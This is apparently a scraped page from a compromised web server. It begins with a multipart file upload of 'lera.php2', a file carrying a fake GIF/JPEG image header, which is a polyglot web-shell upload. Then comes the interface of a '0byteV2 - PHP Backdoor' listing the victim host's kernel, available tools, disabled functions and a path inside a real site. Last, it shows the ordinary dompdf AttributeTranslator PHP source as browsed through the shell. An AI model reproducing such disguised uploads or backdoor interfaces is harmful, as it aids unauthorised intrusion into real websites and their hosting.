------WebKitFormBoundary5SePZ93NyvO6nCmJ Content-Disposition: form-data; name="qqfile"; filename="lera.php2" Content-Type: application/octet-stream GIF89a; ÿØÿà JFIF ÿí „Photoshop 3.0 8BIM hg Js4XT_wSZ67ehRpQTnMQ( JFBMD0f000770010000cd1d00002b54000065550000ec560000e488000080b80000b1bb0000ÿÛ C ")$+*($''-2@7-0=0''8L9=CEHIH+6OUNFT@GHEÿÛ C !!E.'.EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEÿ €" ÿÄ ÿÄ ÿÚ ù úȉ{j êv $àiwžœöˆ'Ýœ«§ôåÝU >À [T€ÕôuÕæî§—ÈúWÃúþÀ Iô1óËî£;˜‘ò8ØN¸£•w@cŽºóê¶'»6r´G[É]X«§=&5³uÝ÷mqÖÑSÞœX†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†Zò²²²²²²‹@ ŸMöóù‹éy3÷ëûOcõjSƒvQÎSÞŸ9yWI$ä`äÝO‡/çWyå¼ã›Ï¸ëSãý+ƒ §e,/~™}_^Ç*—~IM•ÇЫäÞý¿yð—ÞðO;šƒ›ÊoCŸ¿c_ÇëüYÈåmѧíö=%÷Ä¢^EΫW•Y±ýÊöZm.läýúlûŸ‘cÛòóP=Ÿ™Zé<9Ï%âGoÈŠ›é<@MÆ>§—›;yüÇn1;v‰626,=V~”qú<‘ušã’ëÑ/1íä5¯…a6=|å¹ìy~Õž[æ?Sù[Yyˆëûn#®>{fŒ§ì…¹wýú&³>F­Úžã–'Íj,*³¨½75œ½õG¦Ëêè>¯¹IdÔy=ùbØïËTi°¸u—†ì8t¬ºÃfmmíEÞ„K óãøî×çÙé;d’Þå·s<†½»»)<ãû,–œ˜ùì}Sg'¿¿Ÿ§ÆŠÆ[yò nÓ¼õïµç¯CÑæèÂP­Ño®)4ôå‹ÓÕÚ¯?òÿ ªry×»¤–fÚý‹ï¾!‹Â_Ô~GosöѤë9a³ùU Ç;c¯tyí=óѳXßcQ'¦-Ú6z|ùA™–ì)îjyïWMÌõü·KqMu¬ôÖPlºg“ù¯×ø\o™›/T½dÍ6lü×fZÚóÍ{#\yž,/dhWºý°·eßÏË%•·ÓUô;Ÿ“g¼“[ ¾÷›ò:Uâá_¼‘‹Ó¥ÛeNuWɨ3­Ð¼ò\½%ÌðÇ|5µ[q†±/ ˜j|wèùÌëhvkØJ[eèâÑ7EÌê~Ûå¸]w+Ùsß;qWmsÕÙ×ÙîRpýßÌ%¼ÓY/.Žâ¶ïO™Déêó®s)q%Ù”t²±ÕÕ·ìùyŸ>>ûìÖüwâCÛŽÆ|d<÷/L<Ø]¦øUF¼î&'=Þµrý„i¯—Bî¹¼©qݯ;Ã<6K“Á™Œdê·jGuÀ};Y¶¾^¹ü¾³èU¸×Ï´^Àãß =44 ÂNç[ß5Ÿ}ó™oUyèä‰>¹Ï§¹¬ç¸¿Üòß/k]hÏSg]iµWÍ>£óLX;6d½uå-þ§â-ÍlLµÍA¯é}ι:zùj|ߢ_¶åæ]üþ=K+Ìõš3Çaæ^z2óÐôyæ^²ðÇ̼1{âÉ“¢C\ßÏûÎ*øýw/iËuëÁëÁ²ÂìîoѾwô=N’4½=8ÒÓ¡çuË´ñûaèÙ6¦¾ãzñ®Ç~®¼±ó=öYQ·Â6çŽc×£Ð2½ðyèó¼<Ç"ÉߣrÕstIiù.î¢>x;ÅîÕÓäß2Âty|úïúGÎ>§¼YF“¯ È’ôç§/:,¿º²Vɲ(úlwÏåñ>‹O×—«£ÑÛ”©ºvý,˜øÔݺdðëæ¾=SÙW[YÑÙÖÙjiù§Ô¹y®C.†$Yô4WÚ Ú@²‚‹§çña¥ã,/&zWD´‰5õŒ±Ë·6éÝ.ØÛ4›rÇ3ÐzAàz<óу"ÊÏÈgŒ¸G›”¼ß7ô­-p6Ý”¼¹çQéñFϧ=ô¼vïžq¤ÅܯӶ'>”òr‰âöa*¦L·’+%±¾DûO»7½”ÁîøOg—´gRæÃ³Æáôu6wKade¦ÞÓÝsD¼cfaqMth®¸†SÐvÚ£‰uÐcŸÆßFuG_yX}C/=ëÏ ºó—diI9yéï¾z <ôxW¾~6K†ÍûåÓ¿!–xì=÷OL¢6cו3¹¼ôÙ¯Ù%­;fñÙ×^v㵎žüdgEËçßB×¼ü~/}Âk2¬kìµ2±‡mǧ;:¾É/ìël«me¥maŽÂ@µ­²\ [×pŠGõ­2Ã^³(›õ–Ï=¦Í[eò.íd¿|ô{ç  z,¯=Ù5~^Ç¢½ô2Ù†p÷gî#6Ô.o«ä¸öª<'®tʾ§é•¾¯=•g?3Rân­Õ/~½¬ú#Îs£ÀùL¾§šíÎEµm§=r¶,K»:Ë3lƒÜ’¾ÆåÝ|3ÖDÖÏÃ6bš´I×^ûç§›ônšÑ†ÜO¾z=óРЯ|¶êË:ÏÝ#w¾l<^áéëAŠå­…˜sG1Ç·?®LŸ7£G¯g³Ç3›è¹­gËÝdØS‰4íL˜ú5ìÒ{Íôšu8ë3²ç§×ØÙsgWfoƒ:†^ed)‘e,ˆ“bù‘1ó?0Ù‰«^ívaïž™nײjÌÒG¾z=óРЯpñwéÎfl}Û½5gèôcž³hÀÏÍ^ÖTöÚq¾RöfR±Ë¼¤UMÓ›+ º 2"nY;aäKö)a„|ÌòÓ´ãkz8%Õm•ͽ¥M©"¸¦Dß«j̉.)“Òcæ^ãž&¼6áQÞz›vc”Ô=šö¦×žžïƒ×ƒ×ƒ×ƒ&%=ÌÛ»^üë/™<ôyèÃVQ„-ÕD¹4ö¦ü°ôÊ$˜$KNK¯2Ã=ZÌI”ÖyÔ½9hY9éÍvç§a–!t]LÙn ®¯»ª(¬«,®m-ªíjDYQcÁdm˜dM&:ûïž§žeáŽ9xa¯n²Xe©+-{3¨;ôo³?qÊø=yè ûž½¦ì±Ù=÷ÓܼÀË^™èzAÑC(m«,Íž{‰–ºJkÍ2O`Í¢³EµY¾³Et¹gå+$l‹´ßž­¢¶Ú¼Ûº¿s2àOŒr–uÖzÍ•­E¹"<ˆæ>ùêhÇ, úwjW¾zžy—†8çá†ëHáž’žjΣÈ&ç?qôõàõâ_^^^}ÇÕ÷||ɹDÛn÷ÌÃ/O^j6jÕ¨k•¸å­4ïìôÇTÍf¬ â¶ß/OnsUW|ÏAô™ùŸNm©îýy› ËˆTϬ±IúvéNRÒ®×Y°¶¨¶$èݤÇß=MZwÇ,uç¨×çúS…Èíü㥺ã=yêJ¿Fn‰påÙŸ¸z{î>ž¼¼¼¼1õ¬·ã*\}ÛŽožâ6{€Éæg¹éÒJÓ£Ly|zöXóÕ™ßYËÕÁƽž¹pÇ,N’Öžû¯>¡¯×÷¾ãž³·v.r÷©£|bªd-õe†&y‹:›{™¶ôÖĽ;u˜{á0¾)c«f³çg'×ú¶ˆ®ñNVo…Uç¯mJÑ–ƒTÈS}ÇÓßqö=x=x=x=x=÷Vný;ecîÜëN[r5ûž&:öº¬=+¥Ëôƒó?©|Ã:‹Ž¬üþœôg£;kÕ†ñ»Í;7Ï¡é9Γ¦3Ãf»%nÃlmϬõ§±%WÕtÚûDß[qªÎ:ö¢ÚæUÅ5Á/°1ð5Å•²×ù×WÍt%ûÜSÌ}òÏ0Ï]p™üåË·Ò5|ð¿A‘óaô§ÍGÒ½ù ú[æƒéoš¥¾h>–ù ú^1/Õòù0úÎ#G×qù úÃäãëyü„}/¯êù/‡Õ9nT]m ó¿ÓOä½u‡ Ö{ìx?S»ÝóÕ}óŸkéÙ|Çú†_-R|·Óê0¾v®Ö_}//šxv2ø/dú ‡ËGÖ_&W| }V'ÍGÕ}ùHëí>x>¯çÊGÕŸ)GÕqùb½` !ž‘Òt GHÒt™7«%•«!Z²«!Z²«!Z²«!Z²«!Z²«!Z²«!Z²«!Z²«!Z²­Ø3333333333333¡k—¯’u£’u£’u£’u£’u£“è&5Æ"[\b%ˆ‰b"Xˆ–"%ˆ‰b"Xˆ–"%ˆ‰b"Xˆ–"%ˆ‰b"Xˆ–"%ˆ‰c×ÙŽ1ÙŽ1ÙŽ1ÙŽ1ÙŽ1ÙŽ1ÙŽ1ÙŽ1ÙŽ1ÙŽ1ÙŽ1ÙŽ1ÙŽ1Ù€ )ìMí;€ ‰‘šd  WJ7€ 5Íq¦4$•mɪÒblJûcdZúÓéœ×CÏš'èÒd œXXÂÐY×i–Næ$Ä;kŠÒ.4Ç+Ð’4Tj,zJi†uÒ®@ ä <ôyè1È 9Ï@äzr cç  ;©Ë\áA.ãrÛέG‰|åî‰ÈS@ SÜ^·º¡ Ié12ïÇ¿¸È‡3Ï@ §µ3!@<=yè ÃÔ9€ÀÍH Dе“HdÀÄ –ê°ö¿TRF°‹9”ÞùQôåF¨´çYŽÆÝUFî‡çÿ @8{¬9âö eéa_¸h•Œ2æG-Ñ6À„M¢ys„j‚Æ]©×rýGn—ÉÙ“çÒX rrY 1d ¢¼ôyèãÐ ä=är Œ9Úé@ IÎ^Yy¶Œîœôbúg1<¸s°Î¹Éô$µ.¢ýÊm:g'd]B©€vJZã«SzYã›;5ƒ¦s™šÀê!G©:·5 ½QV{ŸÒtÎg¡6¹I¥ó”ÚtÎkYÐI¥º _`>y+·ôå w.¯ âs::üNã£ä»Æìë¼9º^ÿ AÉ{+¥8Ýß§!CôÜNOÀAæ»LNÞóœÇ§9ËèYùμqº;N[Eéó½HðæúPâr»¹>wi×dsUý=AïH ô á h!“ h „M ,ÉDbK^À‡0 e N…¸¾ÆBl¨ÒÈ7ìÓf"ûŸ¸(er–fWÔYö|ñWŸ5r\m ¾Ó§QâžqmËÝÓúkàÞc@_aKК¤êô÷fª‚ßÝ4ÇЀ xôc 9 äyŽAç£ÏAŽCÇ¡Ž@ W£Ç  eQYóSK…#ªr3ŽÌôÄ)¼E±ÐãËG:­uµ‡dæ§í\ñÓ9;ñÍzt‘*v38^ ²sðαÎút.r!×9¹e„žG#¬rsÌÍ.TUÇ\äý:·-b\)î Ez8Ÿ{\N&Ï¥ç=ôAó¤yéÍT÷cæ]WéËÖw~œt~çMJ9¼:qó™ý®GkÒäsžtƒ›tƒš¥ïü8ùÝã¦Í°8Kîsp;:r—ÎÄq6½ù·KÒoWSáÇö>z ))†’H"i”ÃI%Ž@ Bš w™€€ W´DyT³ÌfQxZE§é ¹hÞGßQ<…g¨êôBØiÛßå$ó^r<$@®®:Ï#î0—S(Ï^ÈEäZ襔(EÖ0eǯ¯-6CZèªØMe‰£dJ“§¸å;p 1È<ô @ o9™.Î’XßËÚ=/9Ñžr<$@®®:Ï#î%Á‰¤°Ë_›%ò–äü<¨,0¢˜MH4Âôºò³Y»\œŒôÐë> ä Ž@9 *t^†99 1È Ž@rrr9r )í²ä <ô óÚRçÞgQÕ¹ìK™4ÂçÞgQ}7—š]«)έG èܶGN ˆ^Íãå,I\9Ý9èÇUž¸í\î'Hæ5VŽNؾ‰+‡;§=ê¡Ó׫Èè¾Ã¤s9Ÿè ㊧úXãö[[í¬ñÅSý,q¶ ¢«¾˜qÛ;LNqÒŽ>“éxœUŸH1â;œNWÐq9½ æùï¢âq½ ã¤uÎ#¹Äáu}˜ÛÒnèŸ;¾êÍîzꂳ«óÐ ò!0 ä †` Ë:"@•·Òvþ›¨ìëK+sÒú=f¢D†ãD¬a—29nˆ ·…¼‡æÒ<îwis®óD½uD­Ôgœ>o¤ ä ccñèÇ ƒÇ£ÏCƒƒE}¸Ç %³œ–\F¨€u{(ôœ[eÌJ/aSh:ÕF%Ë–œ]¨"S””t0è0:íTVdüe¡~æEÌÞ*Ø¿Q êöQè:77dY Háäõãçø}#¯úävu9u}‡‡Î,ûOJ-AI‡g‘ÉHé=9ªžì|Ë£ê29»Yã‹ÝäpvýG·«ðà0úG_ôÇXt ¤¦‚4 ¤€ <=F’ h h ŠJ!@ Šöˆ¯µ¦ÖYWÀ½7DÓHu‘`f]é×F\k¥èˆöá—_hr6üÎÂß\AkŸ=,•¯d"ò-tSe¶º’Âo!ÐåÔÊ2ƒX:}õX–÷§V 0byteV2 - PHP Backdoor
Linux 116-202-49-93.cprapid.com 5.14.0-611.49.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Apr 21 16:39:08 EDT 2026 x86_64 [ FIND EXPLOIT ]
[ MySQL: OFF ][ Curl: OFF ][ Wget: OFF ][ Perl: OFF ][ Compiler: OFF ]

Disable Function: exec,passthru,shell_exec,system

/home/vhtecindia/public_html/application/libraries/dompdf2/src/Css/
* @author Fabien Ménager * @license http://www.gnu.org/copyleft/lesser.html GNU Lesser General Public License */ namespace Dompdf\Css; use Dompdf\Frame; /** * Translates HTML 4.0 attributes into CSS rules * * @package dompdf */ class AttributeTranslator { static $_style_attr = "_html_style_attribute"; // Munged data originally from // http://www.w3.org/TR/REC-html40/index/attributes.html // http://www.cs.tut.fi/~jkorpela/html2css.html private static $__ATTRIBUTE_LOOKUP = [ //'caption' => array ( 'align' => '', ), 'img' => [ 'align' => [ 'bottom' => 'vertical-align: baseline;', 'middle' => 'vertical-align: middle;', 'top' => 'vertical-align: top;', 'left' => 'float: left;', 'right' => 'float: right;' ], 'border' => 'border: %0.2Fpx solid;', 'height' => 'height: %spx;', 'hspace' => 'padding-left: %1$0.2Fpx; padding-right: %1$0.2Fpx;', 'vspace' => 'padding-top: %1$0.2Fpx; padding-bottom: %1$0.2Fpx;', 'width' => 'width: %spx;', ], 'table' => [ 'align' => [ 'left' => 'margin-left: 0; margin-right: auto;', 'center' => 'margin-left: auto; margin-right: auto;', 'right' => 'margin-left: auto; margin-right: 0;' ], 'bgcolor' => 'background-color: %s;', 'border' => '!set_table_border', 'cellpadding' => '!set_table_cellpadding', //'border-spacing: %0.2F; border-collapse: separate;', 'cellspacing' => '!set_table_cellspacing', 'frame' => [ 'void' => 'border-style: none;', 'above' => 'border-top-style: solid;', 'below' => 'border-bottom-style: solid;', 'hsides' => 'border-left-style: solid; border-right-style: solid;', 'vsides' => 'border-top-style: solid; border-bottom-style: solid;', 'lhs' => 'border-left-style: solid;', 'rhs' => 'border-right-style: solid;', 'box' => 'border-style: solid;', 'border' => 'border-style: solid;' ], 'rules' => '!set_table_rules', 'width' => 'width: %s;', ], 'hr' => [ 'align' => '!set_hr_align', // Need to grab width to set 'left' & 'right' correctly 'noshade' => 'border-style: solid;', 'size' => '!set_hr_size', //'border-width: %0.2F px;', 'width' => 'width: %s;', ], 'div' => [ 'align' => 'text-align: %s;', ], 'h1' => [ 'align' => 'text-align: %s;', ], 'h2' => [ 'align' => 'text-align: %s;', ], 'h3' => [ 'align' => 'text-align: %s;', ], 'h4' => [ 'align' => 'text-align: %s;', ], 'h5' => [ 'align' => 'text-align: %s;', ], 'h6' => [ 'align' => 'text-align: %s;', ], //TODO: translate more form element attributes 'input' => [ 'size' => '!set_input_width' ], 'p' => [ 'align' => 'text-align: %s;', ], // 'col' => array( // 'align' => '', // 'valign' => '', // ), // 'colgroup' => array( // 'align' => '', // 'valign' => '', // ), 'tbody' => [ 'align' => '!set_table_row_align', 'valign' => '!set_table_row_valign', ], 'td' => [ 'align' => 'text-align: %s;', 'bgcolor' => '!set_background_color', 'height' => 'height: %s;', 'nowrap' => 'white-space: nowrap;', 'valign' => 'vertical-align: %s;', 'width' => 'width: %s;', ], 'tfoot' => [ 'align' => '!set_table_row_align', 'valign' => '!set_table_row_valign', ], 'th' => [ 'align' => 'text-align: %s;', 'bgcolor' => '!set_background_color', 'height' => 'height: %s;', 'nowrap' => 'white-space: nowrap;', 'valign' => 'vertical-align: %s;', 'width' => 'width: %s;', ], 'thead' => [ 'align' => '!set_table_row_align', 'valign' => '!set_table_row_valign', ], 'tr' => [ 'align' => '!set_table_row_align', 'bgcolor' => '!set_table_row_bgcolor', 'valign' => '!set_table_row_valign', ], 'body' => [ 'background' => 'background-image: url(%s);', 'bgcolor' => '!set_background_color', 'link' => '!set_body_link', 'text' => '!set_color', ], 'br' => [ 'clear' => 'clear: %s;', ], 'basefont' => [ 'color' => '!set_color', 'face' => 'font-family: %s;', 'size' => '!set_basefont_size', ], 'font' => [ 'color' => '!set_color', 'face' => 'font-family: %s;', 'size' => '!set_font_size', ], 'dir' => [ 'compact' => 'margin: 0.5em 0;', ], 'dl' => [ 'compact' => 'margin: 0.5em 0;', ], 'menu' => [ 'compact' => 'margin: 0.5em 0;', ], 'ol' => [ 'compact' => 'margin: 0.5em 0;', 'start' => 'counter-reset: -dompdf-default-counter %d;', 'type' => 'list-style-type: %s;', ], 'ul' => [ 'compact' => 'margin: 0.5em 0;', 'type' => 'list-style-type: %s;', ], 'li' => [ 'type' => 'list-style-type: %s;', 'value' => 'counter-reset: -dompdf-default-counter %d;', ], 'pre' => [ 'width' => 'width: %s;', ], ]; protected static $_last_basefont_size = 3; protected static $_font_size_lookup = [ // For basefont support -3 => "4pt", -2 => "5pt", -1 => "6pt", 0 => "7pt", 1 => "8pt", 2 => "10pt", 3 => "12pt", 4 => "14pt", 5 => "18pt", 6 => "24pt", 7 => "34pt", // For basefont support 8 => "48pt", 9 => "44pt", 10 => "52pt", 11 => "60pt", ]; /** * @param Frame $frame */ static function translate_attributes(Frame $frame) { $node = $frame->get_node(); $tag = $node->nodeName; if (!isset(self::$__ATTRIBUTE_LOOKUP[$tag])) { return; } $valid_attrs = self::$__ATTRIBUTE_LOOKUP[$tag]; $attrs = $node->attributes; $style = rtrim($node->getAttribute(self::$_style_attr), "; "); if ($style != "") { $style .= ";"; } foreach ($attrs as $attr => $attr_node) { if (!isset($valid_attrs[$attr])) { continue; } $value = $attr_node->value; $target = $valid_attrs[$attr]; // Look up $value in $target, if $target is an array: if (is_array($target)) { if (isset($target[$value])) { $style .= " " . self::_resolve_target($node, $target[$value], $value); } } else { // otherwise use target directly $style .= " " . self::_resolve_target($node, $target, $value); } } if (!is_null($style)) { $style = ltrim($style); $node->setAttribute(self::$_style_attr, $style); } } /** * @param \DOMNode $node * @param string $target * @param string $value * * @return string */ protected static function _resolve_target(\DOMNode $node, $target, $value) { if ($target[0] === "!") { // Function call $func = "_" . mb_substr($target, 1); return self::$func($node, $value); } return $value ? sprintf($target, $value) : ""; } /** * @param \DOMElement $node * @param string $new_style */ static function append_style(\DOMElement $node, $new_style) { $style = rtrim($node->getAttribute(self::$_style_attr), ";"); $style .= $new_style; $style = ltrim($style, ";"); $node->setAttribute(self::$_style_attr, $style); } /** * @param \DOMNode $node * * @return \DOMNodeList|\DOMElement[] */ protected static function get_cell_list(\DOMNode $node) { $xpath = new \DOMXpath($node->ownerDocument); switch ($node->nodeName) { default: case "table": $query = "tr/td | thead/tr/td | tbody/tr/td | tfoot/tr/td | tr/th | thead/tr/th | tbody/tr/th | tfoot/tr/th"; break; case "tbody": case "tfoot": case "thead": $query = "tr/td | tr/th"; break; case "tr": $query = "td | th"; break; } return $xpath->query($query, $node); } /** * @param string $value * * @return string */ protected static function _get_valid_color($value) { if (preg_match('/^#?([0-9A-F]{6})$/i', $value, $matches)) { $value = "#$matches[1]"; } return $value; } /** * @param \DOMElement $node * @param string $value * * @return string */ protected static function _set_color(\DOMElement $node, $value) { $value = self::_get_valid_color($value); return "color: $value;"; } /** * @param \DOMElement $node * @param string $value * * @return string */ protected static function _set_background_color(\DOMElement $node, $value) { $value = self::_get_valid_color($value); return "background-color: $value;"; } /** * @param \DOMElement $node * @param string $value * * @return null */ protected static function _set_table_cellpadding(\DOMElement $node, $value) { $cell_list = self::get_cell_list($node); foreach ($cell_list as $cell) { self::append_style($cell, "; padding: {$value}px;"); } return null; } /** * @param \DOMElement $node * @param string $value * * @return string */ protected static function _set_table_border(\DOMElement $node, $value) { $cell_list = self::get_cell_list($node); foreach ($cell_list as $cell) { $style = rtrim($cell->getAttribute(self::$_style_attr)); $style .= "; border-width: " . ($value > 0 ? 1 : 0) . "pt; border-style: inset;"; $style = ltrim($style, ";"); $cell->setAttribute(self::$_style_attr, $style); } $style = rtrim($node->getAttribute(self::$_style_attr), ";"); $style .= "; border-width: $value" . "px; "; return ltrim($style, "; "); } /** * @param \DOMElement $node * @param string $value * * @return string */ protected static function _set_table_cellspacing(\DOMElement $node, $value) { $style = rtrim($node->getAttribute(self::$_style_attr), ";"); if ($value == 0) { $style .= "; border-collapse: collapse;"; } else { $style .= "; border-spacing: {$value}px; border-collapse: separate;"; } return ltrim($style, ";"); } /** * @param \DOMElement $node * @param string $value * * @return null|string */ protected static function _set_table_rules(\DOMElement $node, $value) { $new_style = "; border-collapse: collapse;"; switch ($value) { case "none": $new_style .= "border-style: none;"; break; case "groups": // FIXME: unsupported return null; case "rows": $new_style .= "border-style: solid none solid none; border-width: 1px; "; break; case "cols": $new_style .= "border-style: none solid none solid; border-width: 1px; "; break; case "all": $new_style .= "border-style: solid; border-width: 1px; "; break; default: // Invalid value return null; } $cell_list = self::get_cell_list($node); foreach ($cell_list as $cell) { $style = $cell->getAttribute(self::$_style_attr); $style .= $new_style; $cell->setAttribute(self::$_style_attr, $style); } $style = rtrim($node->getAttribute(self::$_style_attr), ";"); $style .= "; border-collapse: collapse; "; return ltrim($style, "; "); } /** * @param \DOMElement $node * @param string $value * * @return string */ protected static function _set_hr_size(\DOMElement $node, $value) { $style = rtrim($node->getAttribute(self::$_style_attr), ";"); $style .= "; border-width: " . max(0, $value - 2) . "; "; return ltrim($style, "; "); } /** * @param \DOMElement $node * @param string $value * * @return null|string */ protected static function _set_hr_align(\DOMElement $node, $value) { $style = rtrim($node->getAttribute(self::$_style_attr), ";"); $width = $node->getAttribute("width"); if ($width == "") { $width = "100%"; } $remainder = 100 - (double)rtrim($width, "% "); switch ($value) { case "left": $style .= "; margin-right: $remainder %;"; break; case "right": $style .= "; margin-left: $remainder %;"; break; case "center": $style .= "; margin-left: auto; margin-right: auto;"; break; default: return null; } return ltrim($style, "; "); } /** * @param \DOMElement $node * @param string $value * * @return null|string */ protected static function _set_input_width(\DOMElement $node, $value) { if (empty($value)) { return null; } if ($node->hasAttribute("type") && in_array(strtolower($node->getAttribute("type")), ["text","password"])) { return sprintf("width: %Fem", (((int)$value * .65)+2)); } else { return sprintf("width: %upx;", (int)$value); } } /** * @param \DOMElement $node * @param string $value * * @return null */ protected static function _set_table_row_align(\DOMElement $node, $value) { $cell_list = self::get_cell_list($node); foreach ($cell_list as $cell) { self::append_style($cell, "; text-align: $value;"); } return null; } /** * @param \DOMElement $node * @param string $value * * @return null */ protected static function _set_table_row_valign(\DOMElement $node, $value) { $cell_list = self::get_cell_list($node); foreach ($cell_list as $cell) { self::append_style($cell, "; vertical-align: $value;"); } return null; } /** * @param \DOMElement $node * @param string $value * * @return null */ protected static function _set_table_row_bgcolor(\DOMElement $node, $value) { $cell_list = self::get_cell_list($node); $value = self::_get_valid_color($value); foreach ($cell_list as $cell) { self::append_style($cell, "; background-color: $value;"); } return null; } /** * @param \DOMElement $node * @param string $value * * @return null */ protected static function _set_body_link(\DOMElement $node, $value) { $a_list = $node->getElementsByTagName("a"); $value = self::_get_valid_color($value); foreach ($a_list as $a) { self::append_style($a, "; color: $value;"); } return null; } /** * @param \DOMElement $node * @param string $value * * @return null */ protected static function _set_basefont_size(\DOMElement $node, $value) { // FIXME: ? we don't actually set the font size of anything here, just // the base size for later modification by tags. self::$_last_basefont_size = $value; return null; } /** * @param \DOMElement $node * @param string $value * * @return string */ protected static function _set_font_size(\DOMElement $node, $value) { $style = $node->getAttribute(self::$_style_attr); if ($value[0] === "-" || $value[0] === "+") { $value = self::$_last_basefont_size + (int)$value; } if (isset(self::$_font_size_lookup[$value])) { $style .= "; font-size: " . self::$_font_size_lookup[$value] . ";"; } else { $style .= "; font-size: $value;"; } return ltrim($style, "; "); } }